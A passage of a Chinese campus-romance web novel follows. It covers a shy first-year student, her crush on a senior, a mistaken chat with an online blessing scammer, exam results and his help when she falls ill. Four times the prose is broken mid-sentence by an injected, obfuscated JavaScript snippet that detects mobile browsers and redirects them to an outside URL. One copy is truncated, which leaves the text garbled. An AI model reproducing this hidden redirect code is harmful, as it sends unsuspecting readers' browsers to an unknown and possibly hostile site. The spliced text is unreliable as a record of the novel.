余澄慢吞吞地收拾东西准备站起来,突然发现面前桌子左边多了片阴影。 像是被什么挡住了。 她惊异地站起身,转过头—— 对上了贺颂之那双噙着笑的眼睛。 余澄不由得向后退了一步。 结果腰撞到了坚硬的桌子上。 疼疼疼! 贺颂之歉意地开了口:“抱歉同学,刚还没来得及开口就把你吓到了。是这样,我看到了你桌上的那个单子。好像是今晚数学讲题比赛的。我正好要参加这个,能给我看一下吗......” 余澄:“啊?” 贺颂之真诚地看着她:“其实,我几十分钟前才知道自己被报了上去。到现在...还不太清楚我是第几个上台。” 余澄:“......” 她把单子递到他的手上。 贺颂之迅速扫了一眼,把单子放回了桌子上:“是最后一个啊。谢谢你,不然我现在就得去教二,白白耗上一两个小时了。” 他像是忽然想起了什么,小山雀般的一双眼定定地望着余澄:“你是高一的,今天晚上主要讲的是高二的题,记得选择性听,别把时间全耗上面。” 余澄下意识地道谢:“好的,谢谢啊......” 温煦地笑了笑,贺颂之回到他原来的位子上。 余澄抱着自己的课时练,心不在焉地往图书馆门口走。 路过他的时候,不禁迅速低了下眼。 看到他草稿本上密密麻麻的解题过程。 噢,原来是在临时备课啊。 走向教二的路上,余澄才后知后觉回想起两人之间的对话。 “你是高一的...” 他怎么会知道?难道...他认识她? 回想起那日的撑伞,她往教三匆匆跑去。 原来...那天没看清楚脸的,只有她一个人。 * 高二的题对余澄来说果然超纲。 她去的不早,坐在阶梯教室比较靠后的地方。 那些人说的公式、技巧她都听不太明白,却也一刻也不敢错过。生怕哪一秒就cue到了对她有用的方法。 但学霸们讲的...实在生硬。加上前一天余澄实在是没睡好。不由得就昏昏欲睡了起来。 她不住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042233|162585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地点着头,马上就要陷入温柔乡。 却又被那道熟悉的声音拉了起来。 “接下来,我来给大家讲这道题——” 说起来,她对贺颂之的第一印象就是他的声音,而不是长相。 而她的心跳,又比她的眼睛,要先认识他。 余澄望向台上的贺颂之,他讲题深入浅出,并没有一丝卖弄的意味。而只是认认真真地把这道题的思路理了一遍。 讲题的末尾,他眸中泛着星光。 灿烂,骄傲,却并不灼人。 “其实,学会做一道题并不等于你就会了这一系列题。做数学题,讲究的就是成体系的思路和良好的心态。 当你做不出来题的时候,就要换一种心态去看卷子。不要一直攥着丢了的分不放。而是要抱着写几步就能得几分的心态。” 底下有高二比较调皮的男生,大声叫道:“那学长,这方法真有用吗?” 贺颂之弯了弯唇:“就我个人来说,暂时百发百中。” 贺颂之这句话说完,人潮熙攘的阶梯教室静了一瞬。 鼓掌声、尖叫声与欢呼声,将余澄的耳膜填的满满的。 但她的眼里,却久久地,只倒映着一个人的身影。 毫无意外,贺颂之拿到全场最高票。 十点的晚自习铃声响了。很不幸,余澄并没有如期写完作业。 她拖着疲惫的身躯回到自己班上的教室,跌坐到自己的座位里,边叹气边收拾着书包。 董茵见了她,却没有出声安慰她两句,反而先笑了出来。 “余澄,你今天怎么是这个发型啊。” 余澄往自己头上摸了摸。 一绺呆毛翘的老高。 下午随手薅的那下绝对是她今天犯的最大的错误! 啊啊啊啊啊啊啊啊啊啊啊她就是以这种形象和贺颂之说的话吗,不要啊!!!!!!! * 余澄回到家,甘茯苓倒是罕见地在。 她坐在沙发上,看着女儿带了书包回来,也觉得有些惊讶。 明明是关切的话,可由她说出来,总让人觉得怪怪的。 “你今天在学校干什么了?才高一,作业就写不完吗。” 余澄望着她,轻声道:“妈妈,我晚自习的时间去听了数学讲课比赛。” 她不是一味的受气包,只是知道母亲有许多苦衷,也是为了自己好。所以没有选择用更伤人的话去回击。 甘茯苓见她态度好,也收敛了神色:“自己对学习上心就好,快去写吧。晚上别睡太晚。” 余澄点头,回到自己的房间。 其实,除了看到成绩单的那天,甘茯苓几乎不进她的房间。也算是足够尊重她的私人空间了。 她将全部心思投入学习之中,全然忘记了时间的流逝。 出乎意料的下笔如有神。 将最后一科的练习册装到包里,她才想起来还没看手机。 打开手机,还没进入桌面,就看到自己的企鹅右上角一个鲜红的“4”。 心跳骤然加快,余澄点开自己的企鹅小号。 看看两人的聊天记录,余澄深深陷入了自我怀疑之中。 【。:我是“。”】 【宁静致远:我们已成功添加为好友,现在可以开始聊天啦~】 【宁静致远:小黄人?你成年了吗。】 【宁静致远:叫你家长来加我吧。】 【宁静致远:算了,先告诉我你叫什么,家住哪里,多大了吧。】 余澄:“?” 为什么贺神加人跟查户口一样啊,说好的可以安心做躺尸呢? 5. 第一场雨 她百思不得其解,脑子一热,手上就按下了几个字。 【。:你好,我是号主的妈妈。孩子刚刚把号给我了。】 对面居然秒回了。 【宁静致远:噢噢,家长你好。你是从小某书上找到这里来的吧,应该清楚我是干什么的?】 余澄疑惑了。 看起来贺颂之有小某书,而且还挺火的?不过,他在那上面干什么,她还真不知道。 她打开搜索栏。搜他的名字。 映入眼帘的还真有几条和他有关的信息。 【恭喜我校贺颂之同学荣获20xx年“希望杯”英语演讲比赛全国金奖。】 【我省奥林匹克数学竞赛一等奖名单如下:xx...贺颂之...。】 甚至还有一中篮球赛时拍下来的视频。 那里面的贺颂之头发微湿,带着发带,正在投一个三分球。相较于平常的温和更多了一分张扬的少年气。 进球的那一刻,他唇角微勾,露出一个意气风发的笑容。 余澄不免也跟着他的表情笑了笑。 半晌,她回过神来,打开评论区。 置顶评论里特意打出了他的名字:【都来欣赏我校大帅哥贺颂之(星星眼)(星星眼)】 看来,发布这些内容的号主,除了官方就是其他同学,连有可能是他的号都没有。 难道他有什么副业爱好,比如卖谷子?但又害怕对面是未成年? 思来想去,余澄觉得这一点最有可能。 她就顺着这个意思跟“宁静致远”说了下去。 【。:嗯嗯,知道的。】 【宁静致远:定金是1000,等弄好了给你拍视频,再付2500。孩子姓名和生辰八字都发过来。】 虚空收货?他好像真的是个黑心商家啊...... 余澄还没有那么冲动,她想了想,决定掌握主动权,试探下贺颂之究竟是要干什么。 【。:你好,刚刚我妈妈把我手机抢过去了。现在我又抢回来了。为什么要这么多钱啊,我没有。】 【宁静致远:......把手机给你妈妈。】 【宁静致远:我是中间商。这个价格我也没有办法。】 余澄后知后觉有什么地方不对劲。 她迟疑许久,又以家长身份打下了几个字。 【。:孩子又把手机给我了。您能否再详细介绍一下?我想深入了解。】 “贺颂之”很快就回复了一大段话。一看就是复制粘贴的。 【宁静致远:去年考研真是忙的我焦头烂额,在坚持和努力之间,我选择了点灯!听一位已经上岸的朋友介绍可以去五台山祈福,但我备考太忙没时间去,她就给我介绍了一位本地的师兄,这位师兄人特别好,不禁帮忙给点了灯,还送我个小金卡。说来也是运气好,考试的时候正好考到考前背的题。最后不出意外,成功上岸了!考试临近和我之前一样焦躁的朋友可以试试,图个心理安慰,万一能上岸呢!(呲牙笑)(呲牙笑)】 【宁静致远:大概就这样,我小某书上不都发了吗?信息和定金赶紧发来哦亲,点的越早,见效越快呢。】 余澄好像明白了什么。她将两人的聊天框向左一划,想在不留下访客痕迹的前提下看看这人的□□空间。 结果发现什么都看不到。 被屏蔽了...... 贺颂之他...怎么能在网上坑蒙拐骗?!还把客户屏蔽了,以圆他的考研身份?! 余澄觉得他的人品应该不至于此。 那么...就只有一个她最不想承认的可能...... 她不会加错人了吧! * 翌日,余澄做了好久的心理建设,在课间与董茵闲聊时,不经意地问了一句:“欸,你说学神们的头像都长什么样啊?” 董茵毫不犹豫:“越简洁越好吧。裴凌的头像是个特别丑的火柴人。贺神就更简约了,头像只是纯粹的白。” 啊?! 明霜恰好路过她们身旁,听了董茵的话大笑起来。 “哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈,裴凌那头像,是不是跟他自己长得一模一样。” 她的声音实在是太大。在饮水机旁接水的裴凌自然也听到了。他面色扭曲地把水接完,长腿一迈,也加入了她们三个人的讨论之中。 “明霜,你说谁和那丑火柴人长得一样?!” 他冷着脸把手里的杯子往明霜怀里一塞:“我给你当牛做马,你倒好,在这里编排我编排的不错嘛。” 明霜接过杯子,也不理他,继续眉飞色舞地给二人讲述:“那头像的动作,可是相当传神啊。跟他现在一样,抱着胸耍帅。” 裴凌忍无可忍:“明霜!” 明霜继续笑着:“怎么还皱眉头呀,等晚上回去我就给火柴人添个八字眉,你记得更新一下头像呀。” 她又转向看戏的二人:“他头像,我画的,画的好吧?” 直到明霜被气极反笑的裴凌带(拖)走之后,董茵才兴奋地对余澄低声道:“余澄啊,你觉不觉得,他俩...好像有情况呢。” 可她身旁的余澄显然又在发呆。 纯白...天哪,那她昨天加的那个人是?! 被董茵推了推,她才回过神来。 余澄潦草地点了点头。这好像是班里大家心照不宣的事实了吧。 董茵继续说:“其实...我觉得,学委也对你有意思呢。” 余澄听到这话被吓了一跳,不自觉地抬头。 正站在讲台上分发学习资料的学委沈博匆乱地避开了她的视线。 董茵兴奋道:“哎哟,他真的在看你欸!” 余澄无力道:“其实,他只是在追星。” 初中的时候,她与沈博在隔壁班。是一个语文老师。那时余澄的作文经常在两个班之间流传。考试考的过低的人甚至要背余澄的作文。沈博刚上初中时不好好学习,背余澄作文倒是背了不少。可能背着背着就从量变产生了质变,看余澄的眼神也充满了崇拜。余澄真没觉得他是喜欢自己。 董茵没理解她这句话,但见余澄并没有反驳,又继续问她:“那你呢,对他有没有意思啊。” 余澄认真回答她:“那应该还真没有。” 她认识沈博的时候,他还是个一米五几的小豆丁,整整比余澄低了十厘米。即使现在长开了,个子也长到了一米八,余澄看他还是有种看弟弟的感觉。她知道沈博其实对她还有之前的滤镜。但之后这滤镜还能存在多久......谁都不好说。 就算沈博喜欢她,她也觉得自己不会答应。 余澄的感情观很特别。比起选择喜欢自己的人,她更想和自己喜欢的人共度一生。但也不是那种毫无尊严的倒贴。而是先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042234|162585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远远地看着,如果能够三观契合、共同照应,再说能不能走到最后的事。 如果要和自己不讨厌,但也不喜欢的人携手走下去,她会觉得是一件很痛苦的事情。 不知怎么地,明明不觉得沈博喜欢她,可他看她时那双灿若星辰的眼睛却刻在余澄的脑海里,久久不能忘怀。 自己看喜欢的人的时候...难道也会那样吗? * 结束了一天的学习,余澄回到了家里。 她看着那张字迹模糊的纸条,陷入了沉思。 冷静下来看,这张纸条上的数字,实在是没几个清晰的。 所以她当初为什么要拿铅笔写,还写的那么浅啊! 余澄知道,这个问题找董茵或是其他同学问一下就能解决了。 但她不敢开口。 没有心事的人,做什么别人看起来都觉得光明磊落。 但有了心事的人,有些事情是真的不敢做,生怕被别人看出来自己的意图。 其实...仔细想想,即使有了他的联系方式,加了又能怎么样呢? 他是要乘风而上,一路追随天光的人啊。 而她,面对生活中的小水坑尚且泅渡不得。 他们是不同维度上的人,就像两条歪歪扭扭的线。即使偶有相交,也是一触即离。 就先这样吧。之后有缘再说。 向来是个摆设的门铃突然发出了声响。 余澄跑过去开门,看到甘茯苓的同事正搀扶着她。而甘茯苓面色通红,身体也歪歪扭扭,显然是喝醉了。 同事看到余澄,对她笑了笑:“小澄,你妈妈今天应酬喝醉了。晚上照顾她一下啊。” 虽然甘茯苓每天都很晚回来,但余澄从来都不知道,她会醉成这样。眼睛微微颤动,嘴唇紧抿着,看上去一点都不舒服。 余澄连忙从同事手里接过妈妈,笨拙地让她靠在自己的肩上。连声道谢:“阿姨,这么晚了,真的太谢谢你了。要不在我们家坐坐,休息一会儿?” 同事见她这么懂事,由衷地叹了一句:“小澄真是乖巧。” 不知想起什么,她又看向余澄,对她补充道:“我多说一句啊。你妈妈最近为了升职应酬格外多。她说是为了你们娘俩以后更好的生活。小澄,你妈妈这几年一个人照顾你,真的很不容易。我看她前两天心情不好,好像是因为你的事。不管是怎么回事,你要多多体谅她啊。” 余澄忙说:“好的,我知道了。谢谢阿姨。” 甘茯苓同事摆摆手:“别这么客气。我再多句嘴,你妈妈有时候脾气是不好,但她这人刀子嘴豆腐心。你啊,多和她沟通,别和她离心,有话就说,别让她伤心。” 余澄点点头。真诚道:“真的谢谢你,阿姨。也很晚了,你快回家吧。” 和甘茯苓同事告别后,余澄将甘茯苓带回了她自己的卧室。 为她脱掉大衣,拿热毛巾擦了擦她的脸,又为她掖好了被子。正准备掩上门离开的时候,余澄听到一声物品坠在地板上的声音。 她回头看去。 甘茯苓在无意识中把自己的手机推到了地上。 手机的屏保亮了出来。 是她们一家三口的合照。 照片上,甘茯苓抱着年纪尚小的余澄,和余梁站在一起,笑得格外温柔。 是她在梦里都会反复梦到的美好回忆啊...... 6. 第一场雨 余澄第二天早上起来的时候,甘茯苓还是像以前一样坐在了桌前。 她像往日一样化着精致的妆容,五官锐利。 仿佛前一日显露出的那一丝脆弱全是错觉。 甘茯苓看着余澄无精打采地啃着面包,突然出了声。 “昨天我喝醉了,是你把我扶到床上去的?” 余澄嘴里塞的满满当当,只能看着她,点了点头。 望向女儿温软的眉眼,甘茯苓也颇有一丝松动:“你还是懂了些事的。” 相较于甘茯苓,余澄还是长得更像她爸爸一些。 出门前,余澄回头望向甘茯苓,忍不住道: “妈妈,谢谢你。” 谢谢你这几年来一个人辛苦把我照顾的这么好。 谢谢你明明因为爸爸的事也很伤痛,却总是在我面前显得无比强大。 甘茯苓愣了一瞬,随即回过神来,语气略凶地道:“煽什么情呢,赶快上学去!” 余澄笑着跑走了,还不忘对着她喊道:“我会好好学习的!” 接下来的一个月,余澄全身心投入了学习中。 她每天都会早起十分钟,不再担心迟到,就会绕路走更为安全的人行道。 她把看书抛在了脑后,也不去图书馆了。 这段时间里,她和贺颂之再也没遇到过。 * 期中考试结束的那个中午,整个教学楼都闹哄哄的。 回班之后,韩康安便把纸质版的答案一张一张发了下去。 他站在讲台上,手撑着两边,严肃地说:“对完答案再走吧。” 有部分人耐不住性子,把答案随手往抽屉里一扔就走了。 但也还是有稀稀拉拉的人选择留在教室,对完答案再走。 余澄倒不是耐不住性子。 只是紧绷了这么久,她脑子里的那根弦也快断了。只想躺平睡觉。 都快要走出教室门了,她听到背后的董茵一声惊呼:“余澄,你快回来!” 余澄以为是出了什么事,赶紧往回跑。 却见董茵一脸惊恐地把一张答案塞进了她的怀里。 “快来对对语文答案,我怎么错了九个选择题!是我的问题还是题的问题啊!” 余澄倒是很淡定:“你别急啊,让我看看。” 她从桌兜里抽出自己的试卷,将自己写出的答案与选项对照了一番。 怎么...会一模一样...... 董茵见她半天不说话,忙问道:“余澄,你错了几道啊。” 余澄轻咳一声,正色道:“董茵,你做好心理准备啊。” 董茵瞪大了眼:“余澄,你不会错的比我还多吧,我们难姐难妹啊呜呜呜......” “我好像...没错。” 董茵的眼睛睁得更大了:“啊??余澄,你不会要抛弃我进入学霸阵营了吧。” 沈博不知在什么时候走了过来,看上去比余澄还要淡定一点:“这很正常,余澄本来就是学霸啊。” 董茵也没生气,而是作晕倒状:“啊!你们!” 余澄还没说话,沈博就先认真地开了口:“我是真心这么觉得。” 眼看着董茵看他们两个的眼神越来越怪,余澄连忙叫道:“打住,打住啊!” * 一中的阅卷向来速度极快。不到两天就能出结果。 韩康安和第一次月考一样,把成绩表贴在了讲台旁边。 余澄还是像上次一样,坐在自己的位置上。想等着人潮散去再去看看。 她对于自己的成绩向来会有意放低预期。每一门都往最低分去估。所以最终成绩出来都会比她估的高上几十分。 这一次虽然也是这样,但她却明显感觉,可能要比上次的好上一些。 “卧槽,牛逼!” 班里一个向来咋咋呼呼的男生叫道。 余澄抬眼看,这才发现,那个男生望着的方向,似乎是她这个方向。 另一个他的好兄弟和他勾肩搭背,此刻也震惊地叫道:“卧槽,余澄啊。语文一百三十!这在年级都能第一第二了吧!” 余澄冲着他们笑了笑,淡定道:“其实...不一定吧。” 依旧火急火燎去看成绩的董茵此时跑了回来。高兴地叫道:“余澄!你考的很好诶,班级第十呢。语文单科是第一,英语单科是第二。” 余澄愣了愣。 第一反应是,好,这两门总算是没有考砸。 第二反应是,那她其他几门应该又壮烈牺牲了...... 这个大课间,余澄和其他几名学生被叫去拍光荣榜上的照片。 一中历来有将成绩优异学生的照片打印并展示在光荣榜上的传统。考一次试就替换一次。高一阶段,每个班前十名的学生可上榜。 校园中的长廊静静延伸着。阳光透过长廊顶部缠绕的紫藤萝枝叶,洒下斑驳的光影,如一层温柔的滤镜。 微风轻拂,藤萝的花串发出簌簌的声响。空气中弥漫着淡淡的花香。 余澄站在长廊中央。负责拍照的老师将镜头对准了她。 她微微扬起头,嘴角漾起一抹淡淡的笑意。 “三、二、一,不要眨眼啊!” 拍完照片后,余澄特意向老师嘱咐了一句:“老师,记得美一下颜呀。” 和她一同来的几个同班女生也叫道:“老师,给我们都美一下颜!” 一向干练的女老师此刻也慢下节奏来。放下相机,不自觉地笑了:“好,一定。” 等又过了几天,看到了光荣榜上的照片时,余澄顿觉心塞。 啊啊啊啊啊啊啊啊啊啊啊老师你骗我!根本就没p啊! 这天上午的最后一节课是语文课。课前,余澄和董茵正小声咬着耳朵。 董茵说:“余澄,我觉得你那张照片拍的还挺好看的。” 余澄:“啊?!你真心的吗?拍的我很萎靡不振啊。” 董茵:“真的还不错啊,蛮可爱的。我们这个年纪,就是拍什么都好看。” 眼看着语文老师走进来了,两个人赶紧正襟危坐,眼睛直直盯着黑板。 语文老师并没有直接开始上课,而是定定地望向余澄。 “余澄同学在期中考试中取得了语文单科年级第四的好成绩。所以,我想新增一个语文课代表。余澄,你愿意吗?” 余澄所在的班级只是一个次重点班。在这个班型之上,还有五个最好的班。所有人都没有想过,这么好的单科成绩,会出在一个次重点班的学生身上。 余澄看向语文老师的眼睛。 从她的眼眸中,看到了自己已经许久不曾见过的期待。 她弯了弯眼,回以老师一个坚定的笑容:“我当然愿意。” 语文老师点了点头:“好,下课之后到我办公室来,我吩咐你些事。” 下课之后,趁余澄还没站起身,董茵连忙对余澄轻声说:“余澄,你可要想好欸。语文老师办公室可是在教一五层呢,每次过去都很远的。” 教一五层。 天呐。 刚刚余澄并没有想到这个问题。她所震惊的也不是距离太远。 而是...... 这可是,贺颂之他们那层啊。 * 听完语文老师的嘱咐,余澄走出办公室门。 说来也巧,办公室的旁边那间教室,挂的就是高三文科一班的班牌。 也就是贺颂之所在的文科清北班。 余澄本应该赶紧跑下楼梯回家吃饭。可却鬼使神差地,脚不自觉地往教学楼的拐弯处走。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042235|162585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她们楼层,是在那里粘贴光荣榜的。 那教一五层的同一个地方,会不会...也能看到贺颂之的照片? 怀着她自己都没有察觉到的雀跃心情,余澄走了过去。 那里果然有一面光荣榜。 却和她们那里的有细微的不同。 也许是因为高三考试过于频繁,这里的光荣榜应该是多次利用的。 上面挂满了许多玻璃小栏,栏中放着优秀学生的照片。 照片的摆放是以首字母为顺序的。 余澄站在光荣榜前,目光不由自主地被正中间的那张照片所吸引。 照片上的贺颂之穿着没有一丝褶皱的中山装,眉眼温和,眼神清澈。 他唇角上扬,带着一丝若有若无的笑意。 余澄盯着那张照片,心跳不自觉地加快了几分。 她抿了抿唇,用眼光代替手指,在他的轮廓上慢慢扫过。 她的目光从照片上移开,转向一旁的答题卡展示处。 每一科答得最好的几份答题卡都会被学校复印下来,粘贴在那里。 而贺颂之的每一份答题卡,都在这个卷子上。 他的答题卡,字迹工整,卷面干净。 就像是他这个人一样,沉稳而温柔。 余澄忍不住凑近了一些,仔细看着他的答题卡。 数学卷子上,他的解题步骤清晰明了,也没有什么涂改痕迹。 语文卷子上,他答题角度多样,一眼扫去便是个周全的人。 就算她还不怎么了解文综卷子,也能从行文思路上看出他写的洋洋洒洒,应该是一气呵成。 余澄心中感叹道:“大神不愧是大神啊......” 她心中涌起一股莫名的骄傲,仿佛他的优秀也与她有了一丝微妙的联系。 与有荣焉。 正当她沉浸在欣赏中,身后传来一阵脚步声与低低的笑声。 余澄下意识地回头,看到了真人版贺颂之。 他就站在不远处,手中拿着几本书,身边还跟着几个同学。 目光落在她身上,微微一愣,随即露出一抹温和的笑意。 余澄的心猛地一跳,脸颊如火烧云般“腾”地一下烧了起来。 她慌忙低下了头,手指不自觉地攥紧衣角。 他身旁的一个男同学已经笑了起来:“贺颂之,你这魅力不小啊!天天都有钻研你答题卡的女同学。” 语气里带着明显的揶揄。 “别什么都扯到感情问题上。人家只是路过随便看看。” 贺颂之的声音依旧带着温煦,但仔细听能听到一丝无奈的意味。 余澄仰起头,迎上那个男同学的目光:“想学习下大神卷子,不行吗?” 那个男同学也没想到余澄居然会对他说话。一时讪笑道:“哈哈,可以。你还怪有上进心的。” 贺颂之看向余澄:“这一层都是高三生,没高一那么闹腾,挺适合看书的。你要是喜欢,以后也可以常来。” 都是高三生...... 对啊,她一个高一的跑到这里来,怎么看怎么怪异。 适合看书...... 所以她在图书馆看书的那天,其实他也是看到了她的吗? 余澄越想越心如乱麻。抬头看了他一眼。 见他目光依旧平静,没有被刚才的调侃影响,方松了一口气。 但脸上的热度依旧没有退去。 “嗯...谢谢学长。” 她低声说道。 贺颂之没有再说什么。 他点了点头,转身和那几个男生一起离开了。 余澄站在原地,看着他的背影渐渐消失在走廊尽头。 以后说不定就能经常见到了啊......她想。 7. 第一场雨 清晨的阳光透过教室的窗户洒进来,落在余澄的课桌上。 但她却没有感觉到丝毫暖意。 余澄微微蹙眉,两只手捂在小腹上,脸色微微发白。 痛经是她一直以来的毛病。 以往忍一忍也就过去了。 可今天,不知怎么地,疼痛的感觉反而愈演愈烈。 董茵看着她极差的脸色,担忧地问她:“余澄,你没事吧?” 余澄不想让董茵担心,勉强扯出一个笑容。 “我没事,早上就剩一节课了,再撑一会儿。” “要不我帮你去抱语文作业吧?你休息一下。”董茵提议。 “没事的,我自己去。”余澄勉强站起身来,脚步有些虚浮。 董茵仍然放心不下她。坚持要和她一起去。 抱着一摞语文作业本往回走的路上,余澄的额头上已经渗出了细密的汗珠。 她终于忍不住停下脚步,声音虚弱:“董茵,我在卫生间呆一会儿,你先回去吧。” 董茵点点头,接过她手中的作业本:“好,那你快点回来,别耽误上课啊。” 余澄转身向卫生间艰难地挪动。 她蹲在卫生间的拐角处,试图给自己一点安全感。 两眼闭着,双手轻轻覆上肚子,想竭尽所能传递热量。 但好像丝毫没有用。 余澄止不住地颤抖,肘弯撑着白墙,才能勉强保持平衡。 时间对她来说既短暂又漫长。她感觉已经忍受了很久的针扎感,但看了眼手中的电子表—— 才过了十分钟。 已经上课十分钟了。 余澄知道自己这样的状态根本没办法继续上课。 她睁开眼,扶着墙勉强站起身来。跌跌撞撞地往外面走。 不好。 可能是由于眼压太高,她眼前看到的一切东西都变了色调。 像是曝光过度的相机画面。目之所见均是大片耀眼的金黄,将她的眼刺得生疼。 余澄尽力朝着语文老师办公室的方向走,想借她电话给家里打个电话请假。 可还没走几步,脚下一软。 整个人向前倾去。 就在她以为自己要摔倒在地时,一双手稳稳地扶住了她的肩膀。 确认她站稳后,那双手迅速松开了她。 “小心。” 余澄愣了一下,抬头望去,对上了贺颂之那双清朗的眼睛。 他这个人,即使在扭曲的色调里,也怪好看的。 文一这节课的任务是做一套除了听力和作文的英语往年高考题。 贺颂之早就在家做过多遍。觉得再做没意义。便和英语老师申请自习。 走出教室,他又去办公室和班主任解释了一下。不料班主任热情地询问起了他最近的学习状态和学习感受,又像个老父亲一样对他淳淳嘱咐了许久。这一聊就又是二十几分钟。 贺颂之急忙找了个机会告退。不料一出办公室,看到的就是余澄快要摔倒的画面。 他怕她再摔倒。虽没有拿手扶住她,却站在了离她不远的地方。以确保她如果再次跌倒时,他能够第一时间护住。 贺颂之见余澄发丝汗湿,嘴唇发白。一双眼睛迷迷糊糊地找不到东南西北。便下意识地多问了一句:“你还好吗?” 余澄摇了摇头,声音有些哑:“我...我有点不舒服,想借个电话。” 贺颂之看着她:“你脸色太差了,要不要扶你去医务室啊?” “不用了,我打个电话就好。去医务室......恐怕也没什么用。”余澄勉强笑了笑。试图站直身体。可刚一动,腹部又是一阵绞痛。 她忍不住倒吸一口冷气。 贺颂之听她的描述,大概也猜到了是怎么回事。 他望向余澄,用不容置喙的声音说:“我帮你找老师借电话。你就站在原地不要动。你要找哪个老师?” 余澄有气无力:“离你们班最近的那个办公室,最里面从前往后数第二个,语文张老师。” 贺颂之点点头,离开前的那一刻,他好像突然想起了什么。 转头问余澄:“学妹,你叫什么名字?” “余澄。” 原来,他还不知道她的名字啊。 贺颂之没有停留。 得到答复后,他转身就跑,脚步声急促。 余澄站在原地,手指凉的透彻。 贺颂之很快就回来了,手里还拿着余澄语文老师的手机。 教室里的学生们都还在上课,他就没有出声。 但还隔得很远的时候,他就边跑边挥动手里的手机。 让视线模糊的余澄也能够清楚感受到。 他回来了。 贺颂之一贯说话云淡风轻,此时却带着微微的喘息。 顾不得停顿,他将手机递给余澄。 “还能拨号吗?” 余澄艰难道:“可以。” 她输入甘茯苓的号码。那边响了许久才被接起。 甘茯苓一副公事公办的口吻:“哪位啊?” 听到了妈妈的声音,强撑了许久的余澄感觉自己一下子就被击溃了。 眼睛里不自觉地蔓延出泪水,她强忍着哭腔:“妈妈,我痛经,想回家。你帮我给老师发个信息请假吧。” 甘茯苓顿了顿,再开口时温柔了一些:“好,你要请多久?” “先请今天一下午吧。如果好得快的话,我会尽早去的。” “知道了。家里有止疼药。你回去记得吃。” 余澄挂断电话。 腹部的疼痛依旧没有停止。导致她说话也是断断续续的。 “谢谢学长,你快回去吧,别耽误你上课了。” 贺颂之无奈看她一眼。知道她是已经疼糊涂了。 他要真上课,现在就应该在教室,怕是也不会出现在这个地方了。 “没事,你自己回去可以吗?” “应该......可以的。” 余澄强撑着往楼梯方向走。 他都高三了,要是再耽误他时间,自己真的负不起这责任。 贺颂之挑了挑眉,也没说话。 但眼神始终没离开余澄。 余澄能感觉到贺颂之一直在看着自己。 但她实在分不出精力再说一遍让他不要管自己的话了。 终于,她踉踉跄跄地走到了楼梯口。 余澄手扶着冰冷的把手,试图稳住自己。 然而,刚迈出一步,她便觉得双腿如灌了铅一般沉重。 膝盖一软,差点跪倒在地。 身后传来一声叹气声。 并不戏谑轻浮,而是带着几分熨帖的认真。 他说:“学妹,别逞强。每个人都会身体不舒服。” “走,去坐电梯。我送你回家。” 话音刚落,一只手托上了余澄没扶把手那只手的胳膊。 强劲而有力。 贺颂之安抚着她:“没关系,你不用把这当多大的事。” “照顾病人,天经地义。” 有他扶着,余澄觉得路稍微好走了一些。 他们一步步向电梯挪过去。 电梯启动,失重的那一瞬间—— 余澄的心跳好像也漏了一拍。 到了教一一层,余澄突然想起了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042236|162585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 件重要的事。 她向贺颂之低低开了口:“学长,我们没有出门条啊。” 在一中,门卫凭借出门条上的姓名和班主任签字才放学生出门。 贺颂之眼神一凝:“是我疏忽了。” 他把她扶到一层侧面的一处长椅上。确认她坐好之后,问她:“你是哪个班的?老师办公室在哪儿?” “高一十三班。老师办公室在教三二层。学长你去找韩康安老师。” 贺颂之依旧雷厉风行:“在这儿等我,马上回来。” 几分钟后,他的身影出现在拐角处。 拿上出门条,余澄和贺颂之继续往校门口的方向走。 到了门卫跟前,他仔细看了看余澄手中的出门条,又瞥了贺颂之一眼。 “哟,常客又出门?” 贺颂之礼貌向他一颔首:“是。同学生病,送她回家。” “挺热心啊。” “顺手的事。” 校门为他们开了一条缝。 贺颂之搀着余澄,在校门口停住了。 余澄似乎知道他在想什么。艰难道:“左拐。” 来这里的一个月,余澄已经迅速摸清了从家到学校的三条线路。 线路一,极简版,直接横穿绿化带。 线路二,较安全版,绕一点路,走有红绿灯的马路。 